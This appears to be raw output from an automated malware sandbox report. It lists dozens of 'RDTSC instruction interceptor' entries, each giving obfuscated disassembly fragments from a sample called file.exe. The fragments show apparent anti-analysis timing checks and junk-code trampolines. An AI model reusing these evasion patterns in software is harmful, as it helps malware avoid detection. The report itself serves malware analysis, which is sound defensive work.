jmp 00007F701CDA8A79h 0x0000004a push 00000000h 0x0000004c mov esi, dword ptr [ebp+122D2ABFh] 0x00000052 xchg eax, ebx 0x00000053 jmp 00007F701CDA8A72h 0x00000058 push eax 0x00000059 pushad 0x0000005a push eax 0x0000005b push edx 0x0000005c jmp 00007F701CDA8A6Ah 0x00000061 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 790D08 second address: 790D1C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F701CDC8380h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7926F5 second address: 79270F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F701CDA8A73h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push esi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 793102 second address: 793162 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a movsx esi, ax 0x0000000d push 00000000h 0x0000000f push 00000000h 0x00000011 push eax 0x00000012 call 00007F701CDC8378h 0x00000017 pop eax 0x00000018 mov dword ptr [esp+04h], eax 0x0000001c add dword ptr [esp+04h], 0000001Bh 0x00000024 inc eax 0x00000025 push eax 0x00000026 ret 0x00000027 pop eax 0x00000028 ret 0x00000029 mov edi, 5CE869B5h 0x0000002e push eax 0x0000002f mov esi, edx 0x00000031 pop edi 0x00000032 mov di, ax 0x00000035 push 00000000h 0x00000037 jmp 00007F701CDC8386h 0x0000003c push eax 0x0000003d pushad 0x0000003e jl 00007F701CDC837Ch 0x00000044 push eax 0x00000045 push edx 0x00000046 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 792E68 second address: 792E6C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 797D9A second address: 797D9E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 792E6C second address: 792E72 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 797D9E second address: 797DB1 instructions: 0x00000000 rdtsc 0x00000002 je 00007F701CDC8376h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jno 00007F701CDC8376h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79B5FD second address: 79B616 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F701CDA8A74h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79A6F0 second address: 79A6F6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79B616 second address: 79B627 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jo 00007F701CDA8A66h 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push ebx 0x0000000e push ecx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79B627 second address: 79B6A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop ebx 0x00000006 nop 0x00000007 push 00000000h 0x00000009 push esi 0x0000000a call 00007F701CDC8378h 0x0000000f pop esi 0x00000010 mov dword ptr [esp+04h], esi 0x00000014 add dword ptr [esp+04h], 0000001Ah 0x0000001c inc esi 0x0000001d push esi 0x0000001e ret 0x0000001f pop esi 0x00000020 ret 0x00000021 mov ebx, 1AD062A6h 0x00000026 push 00000000h 0x00000028 call 00007F701CDC8385h 0x0000002d call 00007F701CDC8387h 0x00000032 mov ebx, 5D140B4Dh 0x00000037 pop ebx 0x00000038 pop ebx 0x00000039 push 00000000h 0x0000003b jmp 00007F701CDC8384h 0x00000040 xchg eax, esi 0x00000041 pushad 0x00000042 push ecx 0x00000043 push eax 0x00000044 push edx 0x00000045 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79C53A second address: 79C544 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007F701CDA8A66h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79B7C9 second address: 79B7CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79C544 second address: 79C548 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79B7CD second address: 79B7D7 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F701CDC8376h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79B7D7 second address: 79B7DC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79E528 second address: 79E532 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007F701CDC8376h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79E532 second address: 79E536 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79E536 second address: 79E57B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b push 00000000h 0x0000000d push edx 0x0000000e call 00007F701CDC8378h 0x00000013 pop edx 0x00000014 mov dword ptr [esp+04h], edx 0x00000018 add dword ptr [esp+04h], 00000014h 0x00000020 inc edx 0x00000021 push edx 0x00000022 ret 0x00000023 pop edx 0x00000024 ret 0x00000025 push edx 0x00000026 jnl 00007F701CDC837Ch 0x0000002c pop ebx 0x0000002d push 00000000h 0x0000002f push 00000000h 0x00000031 sub di, C51Ah 0x00000036 push eax 0x00000037 push eax 0x00000038 push edx 0x00000039 push eax 0x0000003a push edx 0x0000003b push eax 0x0000003c push edx 0x0000003d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79E57B second address: 79E57F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79E57F second address: 79E585 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79D7C8 second address: 79D7CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79D7CE second address: 79D7D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79E752 second address: 79E756 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79F74E second address: 79F753 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A1277 second address: 7A127B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A127B second address: 7A128D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F701CDC837Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A128D second address: 7A1291 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A05A3 second address: 7A05B9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F701CDC8382h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A05B9 second address: 7A05C7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F701CDA8A6Ah 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A23C4 second address: 7A2445 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F701CDC837Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edi 0x0000000a jno 00007F701CDC8376h 0x00000010 pop edi 0x00000011 popad 0x00000012 mov dword ptr [esp], eax 0x00000015 push 00000000h 0x00000017 push edi 0x00000018 call 00007F701CDC8378h 0x0000001d pop edi 0x0000001e mov dword ptr [esp+04h], edi 0x00000022 add dword ptr [esp+04h], 00000017h 0x0000002a inc edi 0x0000002b push edi 0x0000002c ret 0x0000002d pop edi 0x0000002e ret 0x0000002f mov edi, dword ptr [ebp+122D2A17h] 0x00000035 push 00000000h 0x00000037 push 00000000h 0x00000039 push eax 0x0000003a call 00007F701CDC8378h 0x0000003f pop eax 0x00000040 mov dword ptr [esp+04h], eax 0x00000044 add dword ptr [esp+04h], 00000018h 0x0000004c inc eax 0x0000004d push eax 0x0000004e ret 0x0000004f pop eax 0x00000050 ret 0x00000051 mov edi, dword ptr [ebp+122D26E4h] 0x00000057 jnp 00007F701CDC8381h 0x0000005d push 00000000h 0x0000005f stc 0x00000060 push eax 0x00000061 push ebx 0x00000062 push eax 0x00000063 push edx 0x00000064 push eax 0x00000065 push edx 0x00000066 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A2445 second address: 7A2449 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A146C second address: 7A147E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F701CDC837Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A147E second address: 7A1490 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a jp 00007F701CDA8A6Ch 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A1490 second address: 7A14A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jmp 00007F701CDC837Eh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A52EB second address: 7A52EF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A52EF second address: 7A52F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A52F8 second address: 7A530A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 popad 0x00000008 push eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c jns 00007F701CDA8A66h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A530A second address: 7A530E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A530E second address: 7A5376 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 jmp 00007F701CDA8A70h 0x0000000c pop edx 0x0000000d popad 0x0000000e nop 0x0000000f push 00000000h 0x00000011 push esi 0x00000012 call 00007F701CDA8A68h 0x00000017 pop esi 0x00000018 mov dword ptr [esp+04h], esi 0x0000001c add dword ptr [esp+04h], 00000017h 0x00000024 inc esi 0x00000025 push esi 0x00000026 ret 0x00000027 pop esi 0x00000028 ret 0x00000029 push 00000000h 0x0000002b mov bh, AEh 0x0000002d push 00000000h 0x0000002f add ebx, dword ptr [ebp+122D2B2Fh] 0x00000035 xchg eax, esi 0x00000036 jc 00007F701CDA8A6Ah 0x0000003c push esi 0x0000003d push esi 0x0000003e pop esi 0x0000003f pop esi 0x00000040 push eax 0x00000041 pushad 0x00000042 push eax 0x00000043 push edx 0x00000044 jmp 00007F701CDA8A74h 0x00000049 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A74B6 second address: 7A74BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A74BC second address: 7A7533 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop eax 0x00000006 mov dword ptr [esp], eax 0x00000009 jmp 00007F701CDA8A76h 0x0000000e push 00000000h 0x00000010 push 00000000h 0x00000012 push ecx 0x00000013 call 00007F701CDA8A68h 0x00000018 pop ecx 0x00000019 mov dword ptr [esp+04h], ecx 0x0000001d add dword ptr [esp+04h], 00000014h 0x00000025 inc ecx 0x00000026 push ecx 0x00000027 ret 0x00000028 pop ecx 0x00000029 ret 0x0000002a push 00000000h 0x0000002c push 00000000h 0x0000002e push edx 0x0000002f call 00007F701CDA8A68h 0x00000034 pop edx 0x00000035 mov dword ptr [esp+04h], edx 0x00000039 add dword ptr [esp+04h], 00000018h 0x00000041 inc edx 0x00000042 push edx 0x00000043 ret 0x00000044 pop edx 0x00000045 ret 0x00000046 xchg eax, esi 0x00000047 jmp 00007F701CDA8A6Ch 0x0000004c push eax 0x0000004d push eax 0x0000004e push edx 0x0000004f push ebx 0x00000050 jg 00007F701CDA8A66h 0x00000056 pop ebx 0x00000057 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A7533 second address: 7A7544 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F701CDC837Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A25AD second address: 7A25B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A4486 second address: 7A44A4 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F701CDC8384h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A551C second address: 7A5527 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A25B1 second address: 7A25B7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A44A4 second address: 7A44A8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A663D second address: 7A6660 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F701CDC837Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F701CDC837Dh 0x0000000e popad 0x0000000f push eax 0x00000010 push edi 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A672E second address: 7A6745 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F701CDA8A73h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A6745 second address: 7A677C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F701CDC8380h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d jmp 00007F701CDC8388h 0x00000012 jne 00007F701CDC8376h 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A677C second address: 7A6799 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F701CDA8A79h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A7622 second address: 7A7626 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A7626 second address: 7A7638 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F701CDA8A6Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push edx 0x0000000c pop edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A7638 second address: 7A7659 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F701CDC8387h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A85EF second address: 7A85F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B041B second address: 7B041F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B4D0B second address: 7B4D50 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 jg 00007F701CDA8A84h 0x0000000e mov eax, dword ptr [esp+04h] 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F701CDA8A73h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B4D50 second address: 7B4D78 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F701CDC837Ch 0x00000008 jns 00007F701CDC8376h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 mov eax, dword ptr [eax] 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F701CDC8384h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74195F second address: 74196B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 jno 00007F701CDA8A66h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74196B second address: 74196F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74196F second address: 741992 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jns 00007F701CDA8A70h 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 pop eax 0x00000013 jl 00007F701CDA8A66h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BAE8D second address: 7BAEC1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F701CDC8387h 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F701CDC8384h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BAEC1 second address: 7BAEC7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BAEC7 second address: 7BAF05 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F701CDC8378h 0x00000008 push ebx 0x00000009 push edx 0x0000000a pop edx 0x0000000b pop ebx 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F701CDC837Dh 0x00000015 pushad 0x00000016 push eax 0x00000017 pop eax 0x00000018 jmp 00007F701CDC8389h 0x0000001d pushad 0x0000001e popad 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BB6B6 second address: 7BB6BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BB6BA second address: 7BB6BE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BB6BE second address: 7BB6E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push esi 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F701CDA8A78h 0x0000000f push eax 0x00000010 pop eax 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BB6E2 second address: 7BB6E6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BBB2F second address: 7BBB5A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jne 00007F701CDA8A66h 0x0000000d pushad 0x0000000e popad 0x0000000f popad 0x00000010 popad 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F701CDA8A77h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BBCF1 second address: 7BBCF7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BBCF7 second address: 7BBCFC instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BBE6A second address: 7BBE80 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F701CDC8382h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BBE80 second address: 7BBEB3 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F701CDA8A6Ah 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edi 0x00000011 pop edi 0x00000012 jmp 00007F701CDA8A6Fh 0x00000017 pop eax 0x00000018 jp 00007F701CDA8A6Ch 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BBEB3 second address: 7BBED4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007F701CDC8376h 0x0000000a jmp 00007F701CDC8387h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BBED4 second address: 7BBEDA instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BBEDA second address: 7BBEE8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 ja 00007F701CDC8376h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BBEE8 second address: 7BBEEE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BC03B second address: 7BC03F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BC03F second address: 7BC057 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F701CDA8A72h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BC057 second address: 7BC05D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BC05D second address: 7BC082 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F701CDA8A66h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F701CDA8A77h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BFDA0 second address: 7BFDA8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7942B5 second address: 7942DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 jmp 00007F701CDA8A75h 0x0000000e jbe 00007F701CDA8A66h 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7942DA second address: 7942E1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
